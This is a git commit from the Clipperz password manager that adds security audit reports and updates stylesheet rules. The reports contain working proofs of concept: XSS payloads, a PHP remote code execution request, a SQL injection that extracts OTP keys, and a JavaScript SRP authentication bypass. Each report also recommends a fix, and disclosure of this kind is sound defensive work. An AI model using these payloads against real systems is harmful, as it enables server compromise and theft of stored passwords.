mirror of
http://git.whoc.org.uk/git/password-manager.git
synced 2024-10-11 20:03:44 +02:00
Merged Import and Export branches, implemented Giulio's remarks on Import feature
This commit is contained in:
parent
d1d5fae5de
commit
0126873868
63
doc/Vulnerabilities/CLP-01-001.txt
Normal file
63
doc/Vulnerabilities/CLP-01-001.txt
Normal file
@ -0,0 +1,63 @@
|
||||
CLP-01-001 DOMXSS in Clipperz Bookmarklet via benign HTML Injection (Medium)
|
||||
|
||||
Insecure concatenation of HTML strings in the Clipperz bookmarklet core
|
||||
lead to possibilities for an attacker, to turn a harmless injection on a
|
||||
victim website into an XSS as soon as a user activates the bookmarklet.
|
||||
The bookmarklet contains injectable code that allows arbitrary
|
||||
JavaScript execution from a harmless injection as shown below:
|
||||
|
||||
PoC:
|
||||
(run Clipperz Bookmarklet on this website)
|
||||
<body>
|
||||
<form action=''>
|
||||
<input name='username' type='text'>
|
||||
<input name='</textarea><img src=x onerror=alert(domain)>' type='password'>
|
||||
</form>
|
||||
|
||||
Affected HTML:
|
||||
<textarea style="border:2px solid #333366; font-family:sans-serif;
|
||||
font-size:8pt; color:#336; width:240px; height:135px; padding:4px;
|
||||
background-color:white; margin:0px 10px;"
|
||||
id="bookmarklet_textarea">{"page": {"title": ""},
|
||||
"form": {"attributes": {"action": "http://0x0/Test/",
|
||||
"method": null},
|
||||
"inputs": [{"type": "text",
|
||||
"name": "username",
|
||||
"value": "root"},
|
||||
{"type": "password",
|
||||
"name": "</textarea><img onerror="alert(domain)" src="x">",
|
||||
"value": "k4n0n3!?"}]},
|
||||
"version": "0.2.3"}</div>
|
||||
|
||||
Affected Code:
|
||||
innerHTML+="<textarea id=\"bookmarklet_textarea\" style=\"border:2px
|
||||
solid #333366; font-family:sans-serif; font-size:8pt; color:#336;
|
||||
width:240px; height:135px; padding:4px; background-color:white;
|
||||
margin:0px 10px;\">"+sj(someParameters)+"</textarea>";}
|
||||
|
||||
...
|
||||
|
||||
sj=function(o){var
|
||||
objtype=typeof(o);if(objtype=="number"||objtype=="boolean"){return
|
||||
o+"";}else if(o===null){return"null";} if(objtype=="string"){return
|
||||
rs(o);} var
|
||||
me=arguments.callee;if(objtype!="function"&&typeof(o.length)=="number"){var
|
||||
res=[];for(var i=0;i<o.length;i++){var
|
||||
val=me(o[i]);if(typeof(val)!="string"){val="undefined";} res.push(val);}
|
||||
return"["+res.join(",\n")+"]";}
|
||||
|
||||
...
|
||||
|
||||
rs=function(o){return("\""+o.replace(/([\"\\])/g,"\\$1")+"\"").replace(/[\f]/g,"\\f").replace(/[\b]/g,"\\b").replace(/[\n]/g,"\\n").replace(/[\t]/g,"\\t").replace(/[\r]/g,"\\r");}
|
||||
|
||||
Any form of HTML, even content of HTML element attributes must be
|
||||
considered an attack vector. Currently, Clipperz does a good job in
|
||||
terms of encoding HTML element value attributes, yet other attribute
|
||||
types are not escaped, encoded or filtered at all. This lead to the
|
||||
identification of this and other bugs, specifically CLP-01-014 and
|
||||
CLP-01-015.
|
||||
|
||||
It needs to be made sure, that any form of user controlled data is being
|
||||
processed safely before displaying the resulting data. HTML special
|
||||
characters need to be encoded to their respected entity representation
|
||||
before displaying them.
|
52
doc/Vulnerabilities/CLP-01-002.txt
Normal file
52
doc/Vulnerabilities/CLP-01-002.txt
Normal file
@ -0,0 +1,52 @@
|
||||
CLP-01-002 Remote Code Execution in PHP Backend (Critical)
|
||||
|
||||
The PHP backend is vulnerable to Remote Code Execution attacks. In the
|
||||
file setup/rpc.php, the name of a class can be specified in the
|
||||
parameter objectname of which an object is later instantiated within an
|
||||
eval() statement.
|
||||
|
||||
$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
|
||||
[...]
|
||||
eval ('$instance = new '.$objectName.'();');
|
||||
[...]
|
||||
switch($action)
|
||||
{
|
||||
case 'Add':
|
||||
eval ('$instance = new '.$objectName.'();');
|
||||
[...]
|
||||
case 'Delete':
|
||||
eval ('$instance = new '.$objectName.'();');
|
||||
[...]
|
||||
case 'Update':
|
||||
eval ('$instance = new '.$objectName.'();');
|
||||
|
||||
function RefreshTree($objectName, $root, $offset = '', $limit = '')
|
||||
{
|
||||
[...]
|
||||
eval ('$instance = new '.$objectName.'();');
|
||||
|
||||
An attacker can add arbitrary PHP code to the objectname parameter that
|
||||
is then executed on the web server. This allows to fully compromise the
|
||||
web server and its data.
|
||||
|
||||
/setup/rpc.php?objectname=stdClass();system(?whoami?);phpinfo
|
||||
|
||||
Note that the setup routine can be protected by a password (empty by
|
||||
default) but the affected file setup/rpc.php does not include the file
|
||||
setup_library/authentication.php that performs the actual authentication
|
||||
check. Thus, the attack can be executed by any user as long as the setup
|
||||
directory exists.
|
||||
|
||||
PHP allows to dynamically call methods and constructors without using
|
||||
the eval() operator by using reflection. Here, no execution of arbitrary
|
||||
PHP code is possible.
|
||||
|
||||
$instance = new $objectName();
|
||||
|
||||
However, arbitrary constructors can be accessed that can lead to
|
||||
unwanted behavior. Thus, the objectName parameter should be validated
|
||||
against a whitelist which is already available in the $objects array
|
||||
filled in line 28. Other names should be rejected by the application.
|
||||
|
||||
if(!in_array($objectName, $objects))
|
||||
exit;
|
75
doc/Vulnerabilities/CLP-01-003.txt
Normal file
75
doc/Vulnerabilities/CLP-01-003.txt
Normal file
@ -0,0 +1,75 @@
|
||||
CLP-01-003 SQL Injection in PHP Backend (High)
|
||||
|
||||
The PHP backend is vulnerable to SQL injection attacks. The method
|
||||
GetList() of the object class user, record, recordversion,
|
||||
onetimepasswordstatus, and onetimepassword does not sanitize its
|
||||
parameters sufficiently before adding these to a dynamically constructed
|
||||
SQL query. Affected are the $sortBy and $limit parameter.
|
||||
|
||||
function GetList($fcv_array = array(), $sortBy='', $ascending=true,
|
||||
$limit='') {
|
||||
$sqlLimit = ($limit != '' ? "LIMIT $limit" : '');
|
||||
$this->pog_query = "select * from `onetimepassword` ";
|
||||
[...]
|
||||
$this->pog_query .= " order by ".$sortBy." ".($ascending ? "asc" :
|
||||
"desc")." $sqlLimit";
|
||||
$cursor = Database::Reader($this->pog_query, $connection);
|
||||
[...]
|
||||
}
|
||||
|
||||
A vulnerable call of this method can be found in the function
|
||||
RefreshTree() of the file setup/rpc.php. Its first parameter is passed
|
||||
to the $sortBy parameter and the two last parameters are passed
|
||||
concatenated to the $limit parameter of the vulnerable GetList() method.
|
||||
|
||||
function RefreshTree($objectName, $root, $offset = '', $limit = '') {
|
||||
$sqlLimit = "$offset, $limit";
|
||||
$instanceList = $instance->GetList(
|
||||
array(array(strtolower($objectName)."Id",">",0)),
|
||||
strtolower($objectName)."Id",
|
||||
false,
|
||||
$sqlLimit
|
||||
);
|
||||
}
|
||||
|
||||
The function RefreshTree() is called with unsanitized parameters when
|
||||
the GET parameter action is set to Refresh.
|
||||
|
||||
$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
|
||||
$limit = isset($_REQUEST['limit']) ? $_REQUEST['limit'] : '';
|
||||
$offset = isset($_REQUEST['offset']) ? $_REQUEST['offset'] : '';
|
||||
$action = $_GET['action'];
|
||||
switch($action) {
|
||||
case 'Refresh':
|
||||
RefreshTree($objectName, $root, $offset, $limit);
|
||||
}
|
||||
|
||||
An attacker is able to extract arbitrary data from the database,
|
||||
including user data and OTP keys.
|
||||
|
||||
/setup/rpc.php?action=Refresh&objectname=user&offset=1&limit=1 union
|
||||
select onetimepasswordid,userid,reference,key,key_checksum,data,7,8,9
|
||||
from clipperz.onetimepassword
|
||||
|
||||
The construction of the WHERE clause from the parameter $fcv_array in
|
||||
the GetList() method is also potentially affected by SQL injection.
|
||||
Here, expected numeric values are added to the SQL query without
|
||||
escaping or type-casting.
|
||||
|
||||
if(isset($this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'])
|
||||
&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
|
||||
'NUMERIC'
|
||||
&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
|
||||
'SET') {
|
||||
}
|
||||
else {
|
||||
value = POG_Base::IsColumn($fcv_array[$i][2]) ? $fcv_array[$i][2] :
|
||||
"'".$fcv_array[$i][2]."'";
|
||||
$this->pog_query .= "`".$fcv_array[$i][0]."` ".$fcv_array[$i][1]." ".$value;
|
||||
}
|
||||
|
||||
Expected numeric values should be converted to integer before embedding
|
||||
them into the SQL query. Otherwise, an attacker is able to break out of
|
||||
the single quotes and inject her own SQL syntax. For more security it is
|
||||
highly recommended to use prepared statements, as done in the Python and
|
||||
Java backend.
|
69
doc/Vulnerabilities/CLP-01-014.txt
Normal file
69
doc/Vulnerabilities/CLP-01-014.txt
Normal file
@ -0,0 +1,69 @@
|
||||
CLP-01-014 Persistent XSS via Direct Login from Bookmarklet (Critical)
|
||||
|
||||
Caused by missing output filtering, an attacker can abuse the
|
||||
Bookmarklet in combination with the creation of a new card of type
|
||||
?Direct Login? to persistently infect a Clipperz account and get full
|
||||
and transparent access to all data stored in the account including
|
||||
passwords, keystrokes and other sensitive data.
|
||||
|
||||
Steps to Reproduce:
|
||||
Navigate to a maliciously prepared Website
|
||||
Use the Clipperz Bookmarklet
|
||||
Copy the generated JSON to create a Card
|
||||
Navigate to the Clipperz application
|
||||
Create a new card of type ?Direct Login?
|
||||
Paste the content and save (First XSS is triggerd)
|
||||
Create the card (Second XSS is triggered)
|
||||
|
||||
Anytime the affected user navigates to the malicious card, the injected
|
||||
JavaScript is executed. This thereby effectively ?trojanizes? the entire
|
||||
Clipperz account and gives an attacker access to any of the stored cards
|
||||
and related passwords in plaintext.
|
||||
|
||||
Example Markup for malicious page:
|
||||
<body>
|
||||
<form action=''>
|
||||
<input name='username' type='text'>
|
||||
<input name='password' type='password'>
|
||||
<input name='"><img src=x onerror=alert(domain)>' value='bla'>
|
||||
</form>
|
||||
|
||||
Resulting JSON:
|
||||
{"page": {"title": ""},
|
||||
"form": {"attributes": {"action": "http://attacked/",
|
||||
"method": null},
|
||||
"inputs": [{"type": "text",
|
||||
"name": "username",
|
||||
"value": "root"},
|
||||
{"type": "password",
|
||||
"name": "password",
|
||||
"value": ""},
|
||||
{"type": "text",
|
||||
"name": "\"><img src=x onerror=alert(domain)>",
|
||||
"value": "bla"}]},
|
||||
"version": "0.2.3"}
|
||||
|
||||
Affected Markup in Clipperz application:
|
||||
<tr id="elgen-1630"><td
|
||||
class="directLoginBindingLabelTD"><span>"><img src=x
|
||||
onerror=alert(domain)></span></td><td
|
||||
class="directLoginBindingValueTD"><div style="display: none;"
|
||||
id="Clipperz_PM_Components_Panels_editModeBox_3947"><select
|
||||
id="Clipperz_PM_Components_Panels_select_3948"><option
|
||||
value="null">---</option><option
|
||||
value="014ab7a3d138834f883b0742857cd906fd1902e5c42303348fa181eb568695c1">username</option><option
|
||||
value="8e63b43adc66c2efb1ad9b61aa0e7184f12545eeb163ce076cbae05d5d6e0a45">password</option><option
|
||||
value="01a2b7d792deb70d98ad5f1bb0b3afd89de20554ba606be2662531c20dd6fd48"
|
||||
selected="true">"><img src=x
|
||||
onerror=alert(domain)></option></select></div><div style="display:
|
||||
block;" id="Clipperz_PM_Components_Panels_viewModeBox_3949"><span
|
||||
id="Clipperz_PM_Components_Panels_viewValue_3950">"><img src="x"
|
||||
onerror="alert(domain)"></span></div></td></tr>
|
||||
|
||||
It is highly recommended to escape and filter any output and consider
|
||||
the pages to pull login data from to be an adversary as well. Especially
|
||||
the content of the name field and other attributes of form elements
|
||||
should not be considered trusted as they can contain malicious data -
|
||||
similar to the form element?s value. All special HTML characters need to
|
||||
be converted into their corresponding HTML entities before displaying
|
||||
them to the user.
|
62
doc/Vulnerabilities/CLP-01-015.txt
Normal file
62
doc/Vulnerabilities/CLP-01-015.txt
Normal file
@ -0,0 +1,62 @@
|
||||
CLP-01-015 Persistent XSS on Index Page via Direct Login Favicon (Critical)
|
||||
|
||||
Similar to the issue described in CLP-01-014, a persistent XSS can be
|
||||
triggered using the Direct Login feature. Clipperz attempts to load the
|
||||
favicon of the linked website and display its URL inside the src
|
||||
attribute of an IMG element. An attacker can cause the bookmarklet to
|
||||
deliver a maliciously prepared URL that, in conjunction with the favicon
|
||||
display, leads to an XSS attack.
|
||||
|
||||
Note that this attack is capable of executing arbitrary attacker
|
||||
controlled JavaScript right after the victim logged in, because the
|
||||
vulnerable element is being shown on the index page. It is further
|
||||
possible to create a malicious page that will fill the bookmarklet?s
|
||||
textarea with arbitrary content. The victim would have no way to detect
|
||||
that something was injected and will willingly copy & paste it into the
|
||||
clippers application?s card creator form.
|
||||
|
||||
Steps to reproduce:
|
||||
Copy malicious JSON into card editor for ?Direct Login?
|
||||
Create the card
|
||||
Logout
|
||||
Log in again
|
||||
Attacker?s JavaScript executes
|
||||
|
||||
Example JSON to inject the payload:
|
||||
{"page": {"title": ""},
|
||||
"form": {"attributes": {"action": "javascript://\"onload=alert(1)//",
|
||||
"method": null},
|
||||
"inputs": [{"type": "text",
|
||||
"name": "username",
|
||||
"value": ""},
|
||||
{"type": "password",
|
||||
"name": "password",
|
||||
"value": ""}]},
|
||||
"version": "0.2.3"}
|
||||
|
||||
Affected Markup in Clipperz application:
|
||||
<img
|
||||
id="6a103aa5ab36f0c34cebde816f468bfd9550ca5bbbce67470a0ec58ec7ea1a4b_faviconIMG"
|
||||
src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
|
||||
onload="alert(1)///favicon.ico""></td><td valign="top"><a
|
||||
class="directLoginItemTitle">adadadsadsa</a></td><td align="right"
|
||||
valign="top"><a
|
||||
class="directLoginItemEditButton">show</a></td></tr></tbody></table></li><li
|
||||
class=" "
|
||||
id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4"><table
|
||||
border="0" cellpadding="0" cellspacing="0"><tbody><tr><td align="center"
|
||||
valign="top" width="20"><img
|
||||
id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4_faviconIMG"
|
||||
src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
|
||||
onload="alert(1)///favicon.ico""></td><td valign="top"><a
|
||||
class="directLoginItemTitle">unnamed record</a></td><td align="right"
|
||||
valign="top"><a class="directLoginItemEditButton">show</a>
|
||||
|
||||
It must be ensured that any form of user controlled data is being
|
||||
filtered and encoded properly. It has shown, that the JSON processing
|
||||
for direct logins is a particularly vulnerable element of the Clipperz
|
||||
application and deserves special attention. We believe, that the
|
||||
bookmarklet is easily exposed to injection attacks and that the content
|
||||
of the textarea for direct login data is a dangerous and easy to exploit
|
||||
attack vector and needs to be treated as such by the Clipperz
|
||||
application upon processing its data.
|
20
doc/Vulnerabilities/CLP-01-016.txt
Normal file
20
doc/Vulnerabilities/CLP-01-016.txt
Normal file
@ -0,0 +1,20 @@
|
||||
CLP-01-016 SRP implementation vulnerable to known attacks (High)
|
||||
|
||||
The Clipperz application implements the Secure Remote Password protocol
|
||||
for authentication. The implementation adheres to the original protocol
|
||||
specification from 1998 and is not standardized. The third revision
|
||||
(SRP-3) is described in RFC2459, and has since revised several times to
|
||||
prevent against attacks. Two attacks, ?two-for-one? guessing attack and
|
||||
message ordering attack, are detailed in the paper ?SRP-6 Improvements
|
||||
and Refinements of the Secure Remote Password Protocol?. The latest
|
||||
revision of the protocol SRP-6 is being standardized in IEEE P1363 and
|
||||
ISO/IEC 11770-4.
|
||||
|
||||
Specifically, the implementation is missing the k value introduced in
|
||||
SRP-6 to prevent the ?two-for-one? attack. The k value is used on the
|
||||
server side to compute B=kv+gb and on the client side to compute
|
||||
S=(B-kgx)(a+ux). Also, the exchange of messages follows the SRP-3
|
||||
optimized ordering, not the standard or optimized message ordering of
|
||||
SRP-6, which was introduced to prevent a message ordering attack. Note
|
||||
also that the computation of M1=H(A | B | K) does not adhere to
|
||||
M1=H(H(N) XOR H(g) | H(I) | s | A | B | K) as specified by the standard.
|
88
doc/Vulnerabilities/CLP-01-017.txt
Normal file
88
doc/Vulnerabilities/CLP-01-017.txt
Normal file
@ -0,0 +1,88 @@
|
||||
CLP-01-017 SRP Authentication Bypass (Critical)
|
||||
|
||||
The Clipperz application implements the Secure Remote Password protocol
|
||||
for authentication. The specification explicitly states that the
|
||||
parameter A provided by the client must not be zero. The Clipperz
|
||||
implementation omits this check, which makes password verification
|
||||
trivial to bypass.
|
||||
|
||||
According to the SRP-6 specification, the shared secret is on the server
|
||||
side calculated as (Avu)b where A is supplied by the client. If A is
|
||||
zero the result is also zero, and the resulting shared key is H(0). The
|
||||
corresponding proof can easily be calculated by the attacker as H(0 | B
|
||||
| H(0)). The following JavaScript function can be run in the console
|
||||
when on the Clipperz login page. While the page itself is not updated,
|
||||
the resulting JSON response clearly indicates a successful login.
|
||||
|
||||
SRP authentication bypass PoC:
|
||||
|
||||
(function PoC(){
|
||||
function send(m,p){
|
||||
x=new XMLHttpRequest();
|
||||
x.open('post','/json',false);
|
||||
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
|
||||
x.send('method='+m+'¶meters='+urlEncode(JSON.stringify(p)));
|
||||
return JSON.parse(x.responseText);
|
||||
}
|
||||
r=send('knock',{"requestType":"CONNECT"});
|
||||
|
||||
r=send('handshake',{"parameters":
|
||||
{"message":"connect",
|
||||
"version":"0.2",
|
||||
"parameters":
|
||||
|
||||
{"C":"97766a7e1814fa3042c48869a314f9bde76ab48a57fb1ee54e874aadb76544f6",
|
||||
"A":"0"}},
|
||||
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
|
||||
|
||||
B=new Clipperz.Crypto.BigInt(r.result.B,16).asString();
|
||||
S=new Clipperz.ByteArray("0")
|
||||
K=Clipperz.Crypto.SHA.sha_d256(S).toHexString().substring(2);
|
||||
M1=new Clipperz.ByteArray("0"+B+K)
|
||||
M1=Clipperz.Crypto.SHA.sha_d256(M1).toHexString().substring(2);
|
||||
return send('handshake',{"parameters":
|
||||
{"message":"credentialCheck",
|
||||
"version":"0.2",
|
||||
"parameters":{"M1":M1}},
|
||||
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
|
||||
})()
|
||||
|
||||
Example JSON response:
|
||||
|
||||
{"result":
|
||||
{"subscription":
|
||||
{"fromDate":"Mon, 28 April 2014 13:20:56 UTC",
|
||||
"features":["OFFLINE_COPY","LIST_CARDS"],
|
||||
"toDate":"Mon, 01 January 4001 00:00:00 UTC",
|
||||
"type":"EARLY_ADOPTER"},
|
||||
"loginInfo":
|
||||
{"current":
|
||||
{"operatingSystem":"LINUX",
|
||||
"disconnectionType":"STILL_CONNECTED",
|
||||
"browser":"FIREFOX",
|
||||
"connectionType":"LOGIN",
|
||||
"date":"Tue, 06 May 2014 03:09:28 UTC",
|
||||
"country":"SE",
|
||||
"ip":"83.248.183.26"},
|
||||
"latest":
|
||||
{"operatingSystem":"LINUX",
|
||||
"disconnectionType":"SESSION_EXPIRED",
|
||||
"browser":"FIREFOX",
|
||||
"connectionType":"LOGIN",
|
||||
"date":"Tue, 06 May 2014 02:16:36 UTC",
|
||||
"country":"SE",
|
||||
"ip":"83.248.183.26"}},
|
||||
"connectionId":
|
||||
"35defbcf6616c469aeb404e899b057fa2fdf2595c20b56a3c78407947a16dd86",
|
||||
"lock":"8404A584-AE8A-2AEB-3B1F-066D4A3FF271",
|
||||
"offlineCopyNeeded":true,
|
||||
"M2":"de8e70e96b860f703417dd27e7d4233c9bdab503c58cb89d5bddcbd8ed93fb97"},
|
||||
"toll":
|
||||
{"targetValue":
|
||||
"2e563d96bac476777ef9338153048b17f84055ec2a7f4e8b47142e518eff26b5",
|
||||
"requestType":"MESSAGE",
|
||||
"cost":2}
|
||||
}
|
||||
|
||||
To mitigate the issue sufficiently, the server needs to verify that A
|
||||
cannot be 0 so the attack cannot be carried out.
|
@ -465,6 +465,21 @@ div.overlay {
|
||||
-ms-animation-delay: -0.0833s;
|
||||
-o-animation-delay: -0.0833s;
|
||||
animation-delay: -0.0833s; }
|
||||
div.overlay .progressBar {
|
||||
width: 100%;
|
||||
background-color: #222;
|
||||
height: 4px;
|
||||
margin-top: 86px;
|
||||
-webkit-border-radius: 2px;
|
||||
-moz-border-radius: 2px;
|
||||
border-radius: 2px; }
|
||||
div.overlay .progressBar .progress {
|
||||
background-color: #999;
|
||||
height: 4px;
|
||||
display: block;
|
||||
-webkit-border-radius: 2px;
|
||||
-moz-border-radius: 2px;
|
||||
border-radius: 2px; }
|
||||
|
||||
@-webkit-keyframes overlay-spin {
|
||||
from {
|
||||
@ -835,7 +850,8 @@ html {
|
||||
-moz-flex: auto;
|
||||
-ms-flex: auto;
|
||||
flex: auto;
|
||||
overflow: auto; }
|
||||
overflow: auto;
|
||||
-webkit-overflow-scrolling: touch; }
|
||||
#extraFeaturesPanel .extraFeatureIndex footer {
|
||||
-webkit-box-flex: none;
|
||||
-webkit-flex: none;
|
||||
@ -853,6 +869,12 @@ html {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: black; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature {
|
||||
height: 100%; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature .content {
|
||||
height: 100%;
|
||||
overflow: auto;
|
||||
-webkit-overflow-scrolling: touch; }
|
||||
|
||||
.container {
|
||||
height: 100%;
|
||||
@ -1206,7 +1228,7 @@ div.dialogBox {
|
||||
z-index: 10;
|
||||
background-color: rgba(0, 0, 0, 0.5); }
|
||||
div.dialogBox .mask {
|
||||
z-index: 12; }
|
||||
z-index: 25; }
|
||||
div.dialogBox div.dialog {
|
||||
-webkit-box-flex: none;
|
||||
-webkit-flex: none;
|
||||
@ -1346,7 +1368,7 @@ div.dialogBox {
|
||||
margin: 0px; }
|
||||
|
||||
#loginPage {
|
||||
overflow: scroll;
|
||||
overflow: auto;
|
||||
-webkit-overflow-scrolling: touch; }
|
||||
#loginPage div.loginForm {
|
||||
display: -webkit-box;
|
||||
@ -1983,20 +2005,24 @@ span.count {
|
||||
border-top: 1px solid white; }
|
||||
#extraFeaturesPanel .extraFeatureIndex > div > ul > li {
|
||||
border-bottom: 1px solid white; }
|
||||
#extraFeaturesPanel .extraFeatureIndex > div > ul > li > ul {
|
||||
padding-left: 10px; }
|
||||
#extraFeaturesPanel .extraFeatureIndex > div > ul > li > h1 {
|
||||
cursor: pointer;
|
||||
font-size: 16pt;
|
||||
padding: 10px; }
|
||||
#extraFeaturesPanel .extraFeatureIndex > div > ul > li.closed > ul {
|
||||
display: none;
|
||||
visibility: hidden; }
|
||||
#extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li {
|
||||
padding: 10px;
|
||||
padding-right: 0px; }
|
||||
padding-left: 20px;
|
||||
padding-right: 0px;
|
||||
cursor: pointer; }
|
||||
#extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li.selected {
|
||||
background-color: #333; }
|
||||
#extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li > div {
|
||||
padding: 4px; }
|
||||
#extraFeaturesPanel .extraFeatureIndex > div ul li h1 {
|
||||
cursor: pointer;
|
||||
font-size: 16pt;
|
||||
padding: 10px; }
|
||||
#extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li.offlineCopy {
|
||||
cursor: default; }
|
||||
#extraFeaturesPanel .extraFeatureIndex > div ul li h2 {
|
||||
font-weight: 300;
|
||||
font-size: 14pt; }
|
||||
@ -2037,51 +2063,169 @@ span.count {
|
||||
#extraFeaturesPanel .extraFeatureContent {
|
||||
border-right: 1px solid #222;
|
||||
color: white;
|
||||
/* IMPORT */
|
||||
/* /IMPORT */ }
|
||||
/*
|
||||
.changePassphraseForm {
|
||||
label {
|
||||
display: block;
|
||||
}
|
||||
|
||||
input {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
|
||||
.deleteAccountForm {
|
||||
margin-top: 1em;
|
||||
|
||||
label {
|
||||
display: block;
|
||||
}
|
||||
|
||||
input {
|
||||
display: inline-block;
|
||||
margin-right: 1em;
|
||||
margin-bottom: 1em;
|
||||
}
|
||||
|
||||
.confirmCheckbox {
|
||||
display: inline-block;
|
||||
}
|
||||
}
|
||||
*/ }
|
||||
#extraFeaturesPanel .extraFeatureContent header {
|
||||
display: none; }
|
||||
#extraFeaturesPanel .extraFeatureContent .changePassphraseForm label {
|
||||
display: block; }
|
||||
#extraFeaturesPanel .extraFeatureContent .changePassphraseForm input {
|
||||
display: block; }
|
||||
#extraFeaturesPanel .extraFeatureContent .deleteAccountForm {
|
||||
margin-top: 1em; }
|
||||
#extraFeaturesPanel .extraFeatureContent .deleteAccountForm label {
|
||||
display: block; }
|
||||
#extraFeaturesPanel .extraFeatureContent .deleteAccountForm input {
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature {
|
||||
padding: 20px; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature h1 {
|
||||
font-size: 20pt;
|
||||
padding-bottom: 20px; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature form label {
|
||||
display: none; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature form input {
|
||||
display: block;
|
||||
font-size: 18pt;
|
||||
margin-bottom: 8px;
|
||||
padding: 6px 10px;
|
||||
border: 0px solid white;
|
||||
width: 350px;
|
||||
color: black; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature form input.invalid {
|
||||
border: 0px solid #ff9900;
|
||||
color: gray; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature form p {
|
||||
display: -webkit-box;
|
||||
display: -webkit-flex;
|
||||
display: -moz-flex;
|
||||
display: -ms-flexbox;
|
||||
display: flex;
|
||||
-webkit-box-direction: normal;
|
||||
-webkit-box-orient: horizontal;
|
||||
-webkit-flex-direction: row;
|
||||
-moz-flex-direction: row;
|
||||
-ms-flex-direction: row;
|
||||
flex-direction: row; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature form p input {
|
||||
width: 30px;
|
||||
-webkit-box-flex: auto;
|
||||
-webkit-flex: auto;
|
||||
-moz-box-flex: auto;
|
||||
-moz-flex: auto;
|
||||
-ms-flex: auto;
|
||||
flex: auto; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature form p span {
|
||||
-webkit-box-flex: auto;
|
||||
-webkit-flex: auto;
|
||||
-moz-box-flex: auto;
|
||||
-moz-flex: auto;
|
||||
-ms-flex: auto;
|
||||
flex: auto;
|
||||
font-size: 12pt; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature form button {
|
||||
font-family: "clipperz-font";
|
||||
color: white;
|
||||
font-size: 14pt;
|
||||
border: 0px;
|
||||
margin-top: 20px;
|
||||
padding: 6px 10px;
|
||||
border: 1px solid white;
|
||||
background-color: #ff9900;
|
||||
-webkit-transition: background-color font-weight 0.2s linear;
|
||||
-moz-transition: background-color font-weight 0.2s linear;
|
||||
-o-transition: background-color font-weight 0.2s linear;
|
||||
-ms-transition: background-color font-weight 0.2s linear;
|
||||
transition: background-color font-weight 0.2s linear; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature form button:disabled {
|
||||
font-weight: 100;
|
||||
background-color: #c0c0c0;
|
||||
cursor: default; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature ul {
|
||||
color: white; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature ul li {
|
||||
padding-bottom: 40px; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature h3 {
|
||||
font-size: 18pt; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature .description {
|
||||
max-width: 500px;
|
||||
padding: 10px 0px 20px 0px; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature .description p {
|
||||
font-size: 10pt;
|
||||
margin-bottom: 7px;
|
||||
line-height: 1.4em;
|
||||
color: #bbb; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature .description p em {
|
||||
text-decoration: underline; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature .button {
|
||||
display: inline-block;
|
||||
margin-right: 1em;
|
||||
margin-bottom: 1em; }
|
||||
#extraFeaturesPanel .extraFeatureContent .deleteAccountForm .confirmCheckbox {
|
||||
display: inline-block; }
|
||||
#extraFeaturesPanel .extraFeatureContent .importForm textarea {
|
||||
display: block;
|
||||
color: white;
|
||||
background-color: #ff9900;
|
||||
font-size: 14pt;
|
||||
border: 1px solid white;
|
||||
padding: 6px 10px; }
|
||||
#extraFeaturesPanel .extraFeatureContent .extraFeature .button.disabled {
|
||||
background-color: #c0c0c0;
|
||||
cursor: default; }
|
||||
#extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li {
|
||||
display: inline-block;
|
||||
margin-right: 1em; }
|
||||
#extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li.disabled {
|
||||
color: gray; }
|
||||
#extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li.active {
|
||||
text-decoration: underline; }
|
||||
#extraFeaturesPanel .extraFeatureContent .dataImport .error {
|
||||
margin: 1em 0; }
|
||||
#extraFeaturesPanel .extraFeatureContent .dataImport textarea {
|
||||
width: 100%;
|
||||
min-height: 400px; }
|
||||
